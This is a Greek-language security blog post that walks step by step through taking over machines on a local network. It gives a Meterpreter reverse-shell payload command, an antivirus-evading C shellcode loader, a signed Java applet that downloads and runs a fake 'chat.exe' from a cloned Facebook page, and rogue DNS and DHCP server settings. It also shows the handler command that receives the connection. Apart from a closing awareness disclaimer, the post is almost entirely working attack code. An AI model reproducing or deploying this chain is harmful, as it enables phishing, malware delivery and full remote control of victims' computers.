Security Blog

Java Applet Injection with Rogue DHCP and DNS Server

Πολλοί από εσάς θα σκέφτεστε πόσο ασφαλές είναι το εσωτερικό σας δίκτυο από επιθέσεις. Μερικοί από εσάς θα έχετε ξοδέψει αρκετές εκατοντάδες ευρώ για να προστατευτείτε με ακριβά Firewalls, Antivirus, ARP Poison Detectors, IPS, Honeypots κλπ.

Tι θα κάνατε όμως μαθαίνατε ότι όλα αυτά δεν πρόκειται να σας προστατέψουν από μόνα τους;

Χωρίς την κατάλληλη ενημέρωση και γνώση κανένα αυτόματο εργαλείο δεν μπορεί να σας προστατέψει από επιθέσεις που λαμβάνουν χώρα στο εσωτερικό σας δίκτυο και αυτό σκοπεύουμε να σας αποδείξουμε με το ακόλουθο.

Για τη συγκεκριμένη επίδειξη θα χρησιμοποιήσουμε τη γνωστή διανομή Linux Backtrack 5R1 και ειδικότερα τα εξής:

  • Backtrack Linux 5 R1
  • Modified java applet based on Social Engineering Toolkit (SET)
  • Legitimate DHCP (Dynamic Host Configuration Protocol) Server
  • Locally installed DNS server
  • Locally installed Apache Web server
  • Microsoft visual C++ 2005 Express Edition
  • Microsoft platform SDK

Κατά αρχήν θα ξεκινήσουμε με την παραμετροποίηση του payload μας για να φαίνεται σαν γνήσιο αρχείο και να είναι όσο το δυνατόν μη ανιχνεύσιμο. Για το λόγο αυτό ανοίγουμε λοιπόν το Backtrack μας ξεκινώντας τον Χ server ανοίγουμε τερματικό και γράφουμε την εντολή η οποία θα μας δημιουργήσει το payload που θα χρησιμοποιήσουμε στην επίθεση σε συνδυασμό με ένα payload shell executor.

msfpayload windows/meterpreter/reverse_tcp LHOST=10.13.37.14 LPORT=443 EXITFUNC=thread R|msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

με αυτή την εντολή δημιουργούμε ένα staged payload τύπου Meterpreter που μας δίνει αρκετές δυνατότητες μετά την εκτέλεση του στο σύστημα όπως και αντίστροφη κρυπτογραφημένη σύνδεση στην πόρτα 443 (HTTPS) κάνοντας το να φαίνεται σαν κανονική σύνδεση SSL κατόπιν κατεβάζουμε το Microsoft visual C++ 2005 express edition και το Microsoft platform SDK αμέσως μετά προσθέτουμε αυτή την μεταβλητή στις μεταβλητές συστήματος

PLATFORM_SDK_DIR C:\Program Files\Microsoft Platform SDK for Windows Server 2003 R2

Όταν τελειώσουμε με την παραμετροποίηση ανοίγουμε το visual studio και κάνουμε edit τον ακόλουθο κώδικα:

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <windows.h>

DWORD WINAPI exec_payload(LPVOID lpParameter);

int sys_bineval(char *argv);

int main()
{
char *load;
load="PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLZHOyGpC0GpE0MYKUTqZrE4NkCbVPLKV2TLNkCbGdNkQbGXVoX7RjVFTqKOEaIPLlElQqQlERTlEpZaZoVmGqKwXbXpPRQGNkV2TPLKRbElVaZpNkG0T8NeO0T4RjC1ZpRpNkPHGhNkV8GPEQXSIsElRiLKGDLKGqXVP1IoVQO0NLZaXOTMVaO7P8KPQeIdESQmL8GKCMQ4RUKRV8LKRxGTEQN3QvNkTLRkLKChGlC1XSLKVdNkEQN0OyPDQ4Q4QKQKE1QIPZCaKOKPPXCoCjNkEBZKK6CmPhGCTrEPGpPhQgRSTrCoV4QxRlRWGVC7IoN5X8LPC1C0GpTiXDV4V0E8Q9MPRKGpIoIEV0V0RpPPCpV0CpPPPhXjVoKoKPIoIEZ7CZVePhO0NHVaCvRHVbEPEQMkK9IvPjR0V6PWRHOiLeRTPaIoZuNeKpRTTLKOPNC8QeZLPhXpMeORPVKON5QzC0PjVdQFV7PhERIIZhCoKOXUNkVVPjQPCXC0R0C0C0RvQzGpCXChOTCcZEKOZuZ3V3PjEPRvCcPWCXERN9IXQOIoZuGqZcVIXFLEL6PuZLISAA";
sys_bineval(load);

exit(0);
}

int sys_bineval(char *argv)
{
size_t len;

int pID;
char *code;

len = (size_t)strlen(argv);

code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

strncpy_s(code, len+1, argv, len);

WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);

return 0;
}

DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}

return 0;
}

Το συγκεκριμένο εκτελέσιμο αρχείο που θα πάρουμε είναι μη ανιχνεύσιμο ως malware ή trojan από την πλειονότητα των προγραμμάτων Antivirus. Κατόπιν θα προχωρήσουμε στην δημιουργία ενός υβριδικού κώδικα γραμμένο σε JAVA με βάση τον κώδικα του Dave Kennedy (R3l1k) συγγραφέα του SET (Social Engineering Toolkit), ο οποίος παρατίθεται ακολούθως:

import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.URL;
import java.util.Random;

public class facebook extends Applet {

private Object initialized = null;
public Object isInitialized()
{
return initialized;
}

public void init() {
Process f;

try {
Random r = new Random();
String token = Long.toString(Math.abs(r.nextLong()), 36);
String pfad = System.getProperty("java.io.tmpdir") + File.separator;
String downParm = "http://www.facebook.com/chat.exe";
pfad += token + ".exe";
URL url = new URL(downParm);
InputStream in = url.openStream();
BufferedInputStream bufIn = new BufferedInputStream(in);
File outputFile = new File(pfad);
OutputStream out = new BufferedOutputStream(new FileOutputStream(outputFile));
byte[] buffer = new byte[2048];
for (;;) {
int nBytes = bufIn.read(buffer);
if (nBytes out.write(buffer, 0, nBytes);
}
out.flush();
out.close();
in.close();
f = Runtime.getRuntime().exec("cmd.exe /c " + pfad);

f.waitFor();

(new File(pfad)).delete();

initialized = this;

} catch(IOException e) {
e.printStackTrace();
}
catch (Exception exception)
{
exception.printStackTrace();
}
}
}

Η επόμενη κίνηση μας είναι να πάρουμε τον κώδικα να τον βάλουμε σε ένα αρχείο με την ονομασία facebook.java
και είμαστε έτοιμοι να ξεκινήσουμε την διαδικασία δημιουργίας πιστοποιητικού για να υπογράψουμε το applet

Γράφουμε λοιπόν:

keytool -genkey -keystore facebook -alias fb

με αυτή την εντολή δημιουργούμε ένα νέο κλειδί και ένα αποθηκευτικό δοχείο για κλειδιά δίνουμε τα στοιχεία που μας ζητούνται και στην συνέχεια δημιουργούμε το πιστοποιητικό

keytool -selfcert -alias fb -keystore facebook

με αυτή την εντολή δημιουργούμε το πιστοποιητικό με βάση το κλειδί που δημιουργήσαμε πριν πάμε τώρα να μεταγλωττίσουμε τον κώδικα μας με την εξής εντολή

javac facebook.java

εάν όλα πάνε καλά δεν θα πάρουμε κανένα μήνυμα λάθους στο τερματικό μας, οπότε και είμαστε έτοιμοι να δημιουργήσουμε το δοχείο (jar) για το applet μας με την ακόλουθη εντολή:


jar -cf facebook.jar facebook.class

και τέλος να το υπογράψουμε

jarsigner -keystore facebook facebook.jar fb

Στη συνέχεια πρέπει να ενεργοποιήσουμε τον http server της αρεσκείας μας (πχ στο Backtrack υπάρχει προεγκατεστημένος ο Apache HTTP Server), και να τοποθετήσουμε ακόλουθα αρχεία στο web directory (πχ στο Backtrack θα τα τοποθετήσουμε στον κατάλογο /var/www ) και ειδικότερα τα facebook.jar, facebook.class, chat.exe(payload) καθώς και όλα τα δεδομένα της αρχικής σελίδας του Facebook. Σαν τελευταίο βήμα θα προχωρήσουμε στη αλλαγή του index.html και θα
προσθέσουμε ακριβώς πριν από το </body> τον ακόλουθο κώδικα:

<applet width="10" height="10" id="fb_sec" code="facebook.class" archive="facebook.jar"><param name="nextPage" value="http://www.facebook.com"><param name="separate_jvm" value="true"/></applet>
<script>
function performAppletCode(count)
{
var applet = document.getElementById('fb_sec');
var obj = null;
try
{
	obj = applet.isInitialized();
}
catch(e) { }

	if (!obj && count > 0)
	{ setTimeout( function()
		{ performAppletCode( --count ); }, 200 );
	}
	else if (obj)
	{
        window.location = "http://www.facebook.com"
	}
	else
	{
		window.location.reload();
	}
}

performAppletCode( 10 );
</script>
Έχουμε κάνει μερικές αλλαγές για να είναι persistent και έχουμε μεγαλώσει το μέγεθος του applet αυτό γίνεται γιατί σχεδόν όλα τα antivirus ανιχνεύουν τα applets που έχουν μήκος και ύψος 1 με αυτό τον τρόπο τρέχουμε σωστά το payload μας και κρατάμε το applet undetectable.

Στην συνέχεια θα προχωρήσουμε στην δημιουργία του “κακού” DNS server μας πάμε να κατεβάσουμε τον γνωστό σε όλους μας bind με την εξής εντολή

apt-get install bind9 bind9utils gadmin-bind

όταν τελειώσει η εγκατάσταση θα πρέπει να προσθέσουμε το domain του facebook με το εργαλείο gadmin-bind όπως φαίνεται παρακάτω:

Τέλος πατάμε το activate και όλα είναι έτοιμα τώρα πρέπει να στήσουμε τον dhcp server για αυτό εγκαθιστούμε τα εξής

apt-get install dhcp3-server

πάμε τώρα να κάνουμε edit το configuration του dhcp μας

nano /etc/dhcp3/dhcpd.conf

όταν τελειώσουμε το configuration θα πρέπει να μοιάζει κάπως έτσι

ddns-update-style none;
default-lease-time 600;
max-lease-time 7200;
authoritative;
log-facility local7;
subnet 10.13.37.0 netmask 255.255.255.0 {
range 10.13.37.100 10.13.37.200;
option domain-name-servers 10.13.37.14;
#option domain-name "internal.example.org";
option routers 10.13.37.254;
option broadcast-address 10.13.37.255;
default-lease-time 600;
max-lease-time 7200;
}

Είμαστε πλέον έτοιμοι να ξεκινήσουμε τους daemon μας

Service apache2 start
service dhcp3-server start
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.13.37.14 LPORT=443 EXITFUNC=thread e

Tώρα περιμένουμε το χρήστη να πλοηγηθεί στο γνωστό σε όλους μας facebook όπου θα του παρουσιαστεί το ακόλουθο

Το θύμα μας είχε την ατυχία να δει το μήνυμα που όταν πατήσει run θα τον βάλει σε πολύ μεγάλους μπελάδες για την ακρίβεια ότι και να πατήσει θα εμφανίζεται αυτό το μήνυμα μέχρι να πατήσει run όταν το πατήσει τότε ο επιτιθέμενος θα έχει πλήρη πρόσβαση στον υπολογιστή του “θύματος”, όπως φαίνεται στην ακόλουθη εικόνα

Με το παρόν άρθρο όπως αναφέραμε εξαρχής επιθυμούμε την ενημέρωση και ευαισθητοποίηση των ενδιαφερόμενων στους κινδύνους που ελοχεύουν στο εσωτερικό δίκτυο και την σαφή και σωστή ενημέρωση και αντιμετώπιση αυτών και σε καμία περίπτωση ως οδηγό μίμησης των ανωτέρω για κακόβουλες και παράνομες πράξεις.